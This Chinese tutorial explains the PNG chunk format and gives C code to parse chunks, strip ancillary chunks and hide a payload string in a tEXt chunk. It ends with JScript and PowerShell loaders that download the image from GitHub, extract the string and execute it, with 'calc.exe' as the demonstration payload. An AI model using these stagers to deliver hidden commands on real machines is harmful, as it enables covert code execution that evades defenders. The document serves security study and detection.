隐写技巧:利用PNG文件格式隐藏Payload
导语:隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。
隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。
图片来自于http://null-byte.wonderhowto.com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/
隐写术可以理解为信息隐藏,在渗透测试中最主要的应用是对Payload的隐藏。本文会对PNG的文件格式进行分析,编写c程序实现自动解析文件格式,并按照其文件格式添加自定义的payload,不仅不会影响图片的正常浏览,同时可将图片上传到网络,使用时将图片下载再以特定格式解密,最终执行payload。
注:所有程序源码已上传github,地址为: https://github.com/3gstudent/PNG-Steganography
1、PNG文件署名域
前8字节
固定格式,16进制为: 89 504e 47 0d 0a 1a 0a
2、数据块
Chunk Type Code(数据块类型码): 4字节,数据块类型码 Chunk Data(数据块数据): 可变长度,存储数据 CRC(循环冗余检测): 4字节,存储用来检测是否有错误的循环冗余码
数据块类型:
1. 关键数据块(criticalchunk)
(1) 文件头数据块IHDR(headerchunk) - 包含PNG文件的基本信息 - 一个PNG数据流中只能有一个IHDR - 必须在PNG文件最前面 (2) 调色板数据块PLTE(palettechunk) - 包含有与索引彩色图像(indexed-color image)相关的彩色变换数据 - 必须在IDAT之前 (3) 图像数据块IDAT(imagedata chunk) - 存储实际的数据 - 可存在多个 -必须与其他IDAT连续 (4) 图像结束数据IEND(imagetrailer chunk) - 固定格式,16进制为: 0000 00 00 49 45 4E 44 AE 42 60 82 - 必须在PNG文件最尾部
2. 辅助数据块(ancillarychunk)
用于辅助指示PNG图像中的层、文字等信息
可删除,不影响图片浏览,但图像将失去原来的可编辑性
(1) 背景颜色数据块bKGD(backgroundcolor) (2) 基色和白色度数据块cHRM(primarychromaticities and white point) (3) 图像γ数据块gAMA(image gamma) (4) 图像直方图数据块hIST(imagehistogram) (5) 物理像素尺寸数据块pHYs(physicalpixel dimensions) (6) 样本有效位数据块sBIT(significantbits) (7) 文本信息数据块tEXt(textualdata) (8) 图像最后修改时间数据块tIME(image last-modification time) (9) 图像透明数据块tRNS(transparency) (10) 压缩文本数据块zTXt(compressed textual data)
实例格式分析
工具:Hex Editor
优点:可对16进制字符串进行标记,设置颜色,方便格式分析
测试文件:如图
源下载地址:http://www.easyicon.net/language.en/1172671-png_icon.html
标记好的文件格式如图
###(1) PNG文件署名域
固定格式:
89 50 4e 47 0d 0a 1a 0a ###(2) IHDR 00000008h: 00 00 00 0D 49 48 44 52 00 00 001A 00 00 00 1A ; ….IHDR…….. 00000018h: 08 04 00 00 00 03 43 84 45 ; ……C凟
数据块结构:
Length: 00 00 00 0D
前4字节,定义长度,00 00 000D十进制为13,代表长度为13个字节
Chunk Type Code: 4948 44 52
4字节,定义数据块类型码,此处为IHDR
Chunk Data: 00 0000 1A 00 00 00 1A 08 04 00 00 00
共13字节,定义数据内容
CRC: 4字节,对Chunk Type Code+Chunk Data作CRC32计算得出的值
即对以下十六进制作计算: 49 48 44 52 00 00 00 1A 00 0000 1A 08 04 00 00 00
编写程序对CRC算法进行验证,保存为example1.cpp,源代码如下:
#include <string.h> unsigned int GetCrc32(char* InStr,unsignedint len){ unsigned int Crc32Table[256]; inti,j; unsigned int Crc; for(i = 0; i < 256; i++){ Crc= i; for(j = 0; j < 8; j++){ if (Crc & 1) Crc= (Crc >> 1) ^ 0xEDB88320; else Crc>>= 1; } Crc32Table[i]= Crc; } Crc=0xffffffff; for(intm=0; m<len; m++){ Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]]; } Crc^= 0xFFFFFFFF; return Crc; } int main(int argc, char* argv[]) { charbuf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00}; unsignedint crc32=GetCrc32(buf,sizeof(buf)); printf("%08X\n",crc32); return0; }
运行后如图,输出03438445,同文件中的CRC32校验码相同
(2) gAMA
00000021h: 00 00 00 04 67 41 4D 41 00 00 B18F 0B FC 61 05 ; ….gAMA..睆.黙.
数据块结构:
Length: 00 00 00 04 Chunk Type Code: 6741 4D 41 Chunk Data: 00 00B1 8F CRC: 0B FC 61 05
(3) cHRM
00000031h: 00 00 00 20 63 48 52 4D 00 00 7A26 00 00 80 84 ; … cHRM..z&..€? 00000041h: 00 00 FA 00 00 00 80 E8 00 00 7530 00 00 EA 60 ; ..?..€?.u0..阘 00000051h: 00 00 3A 9800 00 17 70 9C BA 51 3C ; ..:?..p満Q<
数据块结构:
Length: 00 00 00 20 Chunk Type Code: 6348 52 4D Chunk Data: 00 007A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 9800 00 17 70 CRC: 9C BA 51 3C
(4) IDAT
(5-14) tEXt
(15)IEND
数据块结构:
Length: 00 00 00 00 Chunk Type Code: 4945 4E 44 Chunk Data: CRC: AE 42 60 82
固定结构,CRC的值为对ChunkType Code作CRC32校验
开发工具:vc6.0
1、读取PNG文件
保存为example2.cpp,代码如下:
#include<stdio.h> #include<string.h> int main(int argc, char* argv[]) { FILE*fp; if((fp=fopen("c:\\test\\test.png","rb+"))==NULL) return0; fseek(fp,0,SEEK_END); intlen=ftell(fp); unsignedchar *buf=new unsigned char[len]; fseek(fp,0,SEEK_SET); fread(buf,len,1,fp); printf("len=%d\n",len); for(inti=1;i<=len;i++) { printf("%02X",buf[i-1]); if(i%16==0) printf("\n"); } fclose(fp); printf("\n"); return0; }
如图,程序按照UltraEdit的格式输出,以便后续的格式分析
2、解析数据块结构
从第8字节开始,读前四字节为ChunkLength
对应的代码为:
unsigned intChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
接着四字节为ChunkName
printf("ChunkName:%c%c%c%c\n",buf[0],buf[1],buf[2],buf[3]);
然后根据ChunkLength读出完整的ChunkData
最后读出CRC32的值,同Chunk Type Code+Chunk Data求出的CRC32校验值作比较
保存为check.cpp,完整代码如下:
#include<stdio.h> #include<string.h> unsigned int GetCrc32(unsigned char*InStr,unsigned int len){ unsignedint Crc32Table[256]; unsignedint i,j; unsignedint Crc; for(i = 0; i < 256; i++){ Crc= i; for(j = 0; j < 8; j++){ if(Crc & 1) Crc= (Crc >> 1) ^ 0xEDB88320; else Crc>>= 1; } Crc32Table[i]= Crc; } Crc=0xffffffff; for(unsignedint m=0; m<len; m++){ Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]]; } Crc^= 0xFFFFFFFF; returnCrc; } int main(int argc, char* argv[]) { FILE*fp; unsignedchar *buf=NULL; unsignedint len=0; unsignedint ChunkLen=0; unsignedint ChunkCRC32=0; unsignedint ChunkOffset=0; unsignedint crc32=0; unsignedint i=0; if((fp=fopen("c:\\test\\test.png","rb+"))==NULL) return0; fseek(fp,0,SEEK_END); len=ftell(fp); buf=newunsigned char[len]; fseek(fp,0,SEEK_SET); fread(buf,len,1,fp); printf("TotalLen=%d\n",len); printf("----------------------------------------------------\n"); fseek(fp,8,SEEK_SET); ChunkOffset=8; i=0; while(1) { i++; memset(buf,0,len); fread(buf,4,1,fp); ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3]; fread(buf,4+ChunkLen,1,fp); printf("[+]ChunkName:%c%c%c%c ",buf[0],buf[1],buf[2],buf[3]); if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0) printf("PaletteChunk\n"); printf("AncillaryChunk\n"); printf(" ChunkOffset:0x%08x \n",ChunkOffset); printf(" ChunkLen: %10d \n",ChunkLen); ChunkOffset+=ChunkLen+12; crc32=GetCrc32(buf,ChunkLen+4); printf(" ExpectCRC32:%08X\n",crc32); fread(buf,4,1,fp); ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3]; printf(" ChunkCRC32: %08X ",ChunkCRC32); if(crc32!=ChunkCRC32) printf("[!]CRC32CheckError!\n"); else printf("CheckSuccess!\n\n"); ChunkLen=ftell(fp); if(ChunkLen==(len-12)) { printf("\n----------------------------------------------------\n"); printf("TotalChunk:%d\n",i); break; } } fclose(fp); return0; }
运行如图,可获得完整的PNG文件结构
注:这个程序可用来对PNG文件进行格式分析,标记PNG文件的数据块名称、偏移地址、数据块长度、比较预期和实际的CRC32校验码,可基于此对批量文件进行分析,查找可疑文件。
上面提到,去除辅助数据块的内容对PNG图像的浏览没有影响,下面就尝试去除PNG文件的所有辅助数据块
### 1、工具实现
如图,使用Hex Editor去除辅助数据块gAMA、cHRM和bKGD
如图,文件大小变化,但不影响PNG文件浏览
2、程序实现
去除所有辅助数据块,只提取关键信息。程序先对ChunkName作判断,忽略非关键数据块(Ancillary Chunk)的内容,并保存为new.png
保存为compress.cpp,完整代码为:
#include<stdio.h> #include<string.h> unsigned int GetCrc32(unsignedchar*InStr,unsigned int len){ unsignedint Crc32Table[256]; unsignedint i,j; unsignedint Crc; for(i = 0; i < 256; i++){ Crc= i; for (j = 0;j < 8; j++){ if(Crc & 1) Crc= (Crc >> 1) ^ 0xEDB88320; else Crc>>= 1; } Crc32Table[i]= Crc; } Crc=0xffffffff; for(unsignedint m=0; m<len; m++){ Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^InStr[m]]; } Crc^= 0xFFFFFFFF; returnCrc; } int main(int argc, char* argv[]) { FILE*fp,*fpnew; unsignedchar *buf=NULL; unsignedint len=0; unsignedint ChunkLen=0; unsignedint ChunkCRC32=0; unsignedint ChunkOffset=0; unsignedint crc32=0; unsignedint i=0,j=0; unsignedcharSignature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a}; unsignedchar IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82}; if((fp=fopen("c:\\test\\0.png","rb+"))==NULL) return0; if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL) return0; fseek(fp,0,SEEK_END); len=ftell(fp); buf=newunsigned char[len]; fseek(fp,0,SEEK_SET); fread(buf,len,1,fp); printf("TotalLen=%d\n",len); printf("----------------------------------------------------\n"); fseek(fp,8,SEEK_SET); ChunkOffset=8; i=0; fwrite(Signature,8,1,fpnew); while(1) { i++; j=0; memset(buf,0,len); fread(buf,4,1,fp); fwrite(buf,4,1,fpnew); ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3]; fread(buf,4+ChunkLen,1,fp); printf("[+]ChunkName:%c%c%c%c ",buf[0],buf[1],buf[2],buf[3]); if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char*)buf,"IDAT",4)==0) { printf("PaletteChunk\n"); fwrite(buf,4+ChunkLen,1,fpnew); } else { printf("AncillaryChunk\n"); fseek(fpnew,-4,SEEK_CUR); j=1; } printf(" ChunkOffset:0x%08x \n",ChunkOffset); printf(" ChunkLen:%10d \n",ChunkLen); crc32=GetCrc32(buf,ChunkLen+4); printf(" ExpectCRC32:%08X\n",crc32); fread(buf,4,1,fp); ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3]; printf(" ChunkCRC32:%08X ",ChunkCRC32); if(crc32!=ChunkCRC32) printf("[!]CRC32CheckError!\n"); else { printf("CheckSuccess!\n\n"); if(j==0) fwrite(buf,4,1,fpnew); } ChunkLen=ftell(fp); if(ChunkLen==(len-12)) { printf("\n----------------------------------------------------\n"); printf("TotalChunk:%d\n",i); break; } } fwrite(IEND,12,1,fpnew); fclose(fp); fclose(fpnew); return0; }
如图,左边为原始PNG文件大小,右边为去掉所有辅助数据块后的文件,仍然可以正常浏览
实例:按照辅助数据块的格式写入Payload
写入的Payload为:calc.exe
辅助数据块设置为:tEXt
对应的完整数据块结构如下:
Length: 0000 00 08 Chunk Type Code: 74 45 58 74 Chunk Data:63 61 6c 632e 65 78 65 CRC:fa c4 08 76
写入的十六进制数据如下:
00 00 00 08 74 45 58 74 63 61 6c 63 2e 6578 65 fa c4 08 76
注: 本实例仅作演示,实际使用可换成其他数据块,更加隐蔽
1、工具实现
使用Hex Editor插入数据,如图
保存后,不影响PNG文件浏览
2、程序实现
去掉PNG文件所有的辅助数据块后,写入payload数据块tEXt
保存为addpayload.cpp,完整代码:
#include<stdio.h> #include<string.h> unsigned int GetCrc32(unsigned char*InStr,unsigned int len){ unsignedint Crc32Table[256]; unsignedint i,j; unsignedint Crc; for(i = 0; i < 256; i++){ Crc= i; for(j = 0; j < 8; j++){ if(Crc & 1) Crc= (Crc >> 1) ^ 0xEDB88320; else Crc>>= 1; } Crc32Table[i]= Crc; } Crc=0xffffffff; for(unsignedint m=0; m<len; m++){ Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]]; } Crc^= 0xFFFFFFFF; returnCrc; } void convertStrToUnChar(char* str, unsignedchar* UnChar) { inti = strlen(str), j = 0, counter = 0; charc[2]; unsignedint bytes[2]; for(j = 0; j < i; j += 2) { if(0== j % 2) { c[0]= str[j]; c[1]= str[j + 1]; sscanf(c,"%02x" , &bytes[0]); UnChar[counter]= bytes[0]; counter++; } } return; } void AddPayload(FILE *fp) { char*Payload="calc.exe"; unsignedchar *buf; intlen; intcrc32; len=strlen(Payload); buf=newunsigned char[len+12]; buf[0]=len>>24&0xff; buf[1]=len>>16&0xff; buf[2]=len>>8&0xff; buf[3]=len&0xff; buf[4]='t'; buf[5]='E'; buf[6]='X'; buf[7]='t'; for(intj=0;j<len;j++) buf[j+8]=Payload[j]; buf[len+8]=0XFA; buf[len+9]=0XC4; buf[len+10]=0X08; buf[len+11]=0X76; fwrite(buf,len+12,1,fp); } int main(int argc, char* argv[]) { FILE*fp,*fpnew; unsignedchar *buf=NULL; unsignedint len=0; unsignedint ChunkLen=0; unsignedint ChunkCRC32=0; unsignedint ChunkOffset=0; unsignedint crc32=0; unsignedint i=0,j=0; unsignedchar Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a}; unsignedchar IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82}; if((fp=fopen("c:\\test\\test.png","rb+"))==NULL) return0; if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL) return0; fseek(fp,0,SEEK_END); len=ftell(fp); buf=newunsigned char[len]; fseek(fp,0,SEEK_SET); fread(buf,len,1,fp); printf("TotalLen=%d\n",len); printf("----------------------------------------------------\n"); fseek(fp,8,SEEK_SET); ChunkOffset=8; i=0; fwrite(Signature,8,1,fpnew); while(1) { i++; j=0; memset(buf,0,len); fread(buf,4,1,fp); fwrite(buf,4,1,fpnew); ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3]; fread(buf,4+ChunkLen,1,fp); printf("[+]ChunkName:%c%c%c%c ",buf[0],buf[1],buf[2],buf[3]); if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0) { printf("PaletteChunk\n"); fwrite(buf,4+ChunkLen,1,fpnew); } else { printf("AncillaryChunk\n"); fseek(fpnew,-4,SEEK_CUR); j=1; } printf(" ChunkOffset:0x%08x \n",ChunkOffset); printf(" ChunkLen: %10d \n",ChunkLen); crc32=GetCrc32(buf,ChunkLen+4); printf(" ExpectCRC32:%08X\n",crc32); fread(buf,4,1,fp); ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3]; printf(" ChunkCRC32: %08X ",ChunkCRC32); if(crc32!=ChunkCRC32) printf("[!]CRC32CheckError!\n"); else { printf("CheckSuccess!\n\n"); if(j==0) fwrite(buf,4,1,fpnew); } ChunkLen=ftell(fp); if(ChunkLen==(len-12)) { printf("\n----------------------------------------------------\n"); printf("TotalChunk:%d\n",i); break; } } AddPayload(fpnew); fwrite(IEND,12,1,fpnew); fclose(fp); fclose(fpnew); return0; }
使用check.cpp对其进行校验,如图,校验成功
读取payload并执行
将添加payload的图片上传至github,在客户端实现读取图片解析payload并执行:
1、javascript
h = newActiveXObject("WinHttp.WinHttpRequest.5.1"); h.SetTimeouts(0, 0, 0, 0); h.Open("GET","https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master//new.png",false); h.Send(); Data = h.ResponseText; x=Data.indexOf("tEXt"); y=Data.indexOf("IEND"); str=Data.substring(x+4,y-8); newActiveXObject("WScript.Shell").Run(str);
2、powershell
$url = 'https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png' $request = New-Object System.Net.WebCLient $bytes = $request.DownloadString($url) $x=$bytes.indexof("tEXt") $y=$bytes.indexof("IEND") $str=$bytes.Substring($x+4,$y-$x-12) Start-Process -FilePath $str
注:这里给出两种方法,仅作演示
小结
本文详细介绍分析了PNG文件的格式,编写程序实现以下功能:
自动解析PNG文件格式,辅助查找其中的隐藏内容
添加Payload
下载PNG图片解析并执行payload
(完)
发表评论